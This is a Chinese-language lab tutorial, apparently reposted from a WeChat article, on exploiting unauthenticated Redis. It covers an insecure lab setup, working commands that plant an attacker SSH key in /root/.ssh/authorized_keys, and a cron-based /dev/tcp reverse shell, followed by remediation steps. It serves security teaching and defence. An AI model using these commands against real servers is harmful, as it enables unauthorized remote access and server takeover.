Redis 未授權漏洞
Redis 未授權漏洞
Redis 默認配置下綁定在 6379,默認未開啓認證下,導致任意用戶未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,成功在 Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器。
Redis 安裝
快捷安裝
ubuntu 20.04
apt install redis -y
源碼安裝
Redis 官網:https://redis.io/
下載需要的安裝包:https://download.redis.io/releases/
執行命令
wget https://download.redis.io/releases/redis-6.2.1.tar.gz
tar -zxvf redis-6.2.1.tar.gz
cd redis-6.2.1
make
make install
啓動 Redis
部分 Redis 無法啓動,提示內核版本太低,需要升級內核
執行命令
sudo apt update
搜索內核
apt list | grep linux-generic*
根據搜索出來的內核版本,安裝所需的內核
apt install linux-generic-hwe-18.04-edge -y
重啓
reboot
查看內核版本
uname -a
修改 redis.conf 配置文件,在源碼目錄下存在一份 redis.conf 文件
可以將該文件複製到其他目錄,或直接修改
cp ./redis-6.2.1/redis.conf ./redis.conf
vim redis.conf
需要修改的內容如下
-
註釋掉 bind(# bind)
-
關閉保護模式 (protected-mode no)
-
後臺運行 (daemonize yes)
啓動 redis-server
redis-server redis.conf
Redis 未授權漏洞
使用攻擊端連接服務器 redis 端口
攻擊端安裝 redis
apt install redis -y
攻擊端連接服務器
redis-cli -h 192.168.42.183
info
Redis 未授權利用
-
已知 Web 服務的源碼路徑,將 shell 寫入源碼路徑中
-
ssh 連接
攻擊端生成 ssh 密鑰
ssh-keygen -t rsa
cd /root/.ssh (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt cat key.txt | redis-cli -h 192.168.42.183 -x set pub # 寫入redis緩存 redis-cli -h 192.168.42.183 # 連接服務器redis config set dir /root/.ssh # 設置dump路徑 config set dbfilename authorized_keys # 寫dump文件 save # 保存 ssh 192.168.42.183
-
定時任務,反彈 shell(ubuntu 無法連接)
攻擊端監聽
nc -lvp 7777
攻擊端連接
redis-cli -h 192.168.42.183 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.42.183/5555 0>&1\n\n" config set dir /var/spool/cron config set dbfilename redis_cron save
ubuntu 無法收到反彈 shell,默認定時任務沒有被配置 (需要進一步研究)
redis 清除緩存
flushdb # 清空當前庫中的所有 key flushall # 清空整個 Redis 服務器的數據
修復方案
1、 設置本機訪問或者指定主機訪問 redis,修改 redis.conf 中 bind 配置,只允許本地主機或特定主機訪問
2、 iptables 策略僅允許指定的 IP 來訪問 Redis 服務
iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT
3、 設置訪問密碼 (需要重啓 redis 才能生效), redis.conf 中找到 “requirepass” 字段添加密碼。
4、 最小權限運行 redis,修改 Redis 服務運行賬號 (需要重啓 redis 才能生效),以較低權限賬號運行 Redis 服務,並禁用該賬號的登錄權限
參考文章
-
https://cloud.tencent.com/developer/article/1727077
-
https://www.cnblogs.com/yuzly/p/11663822.html
-
https://www.lintstar.top/2021/01/d0e169c6
本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源:https://mp.weixin.qq.com/s/GdWekr7FNAdNv-9Olzk6CQ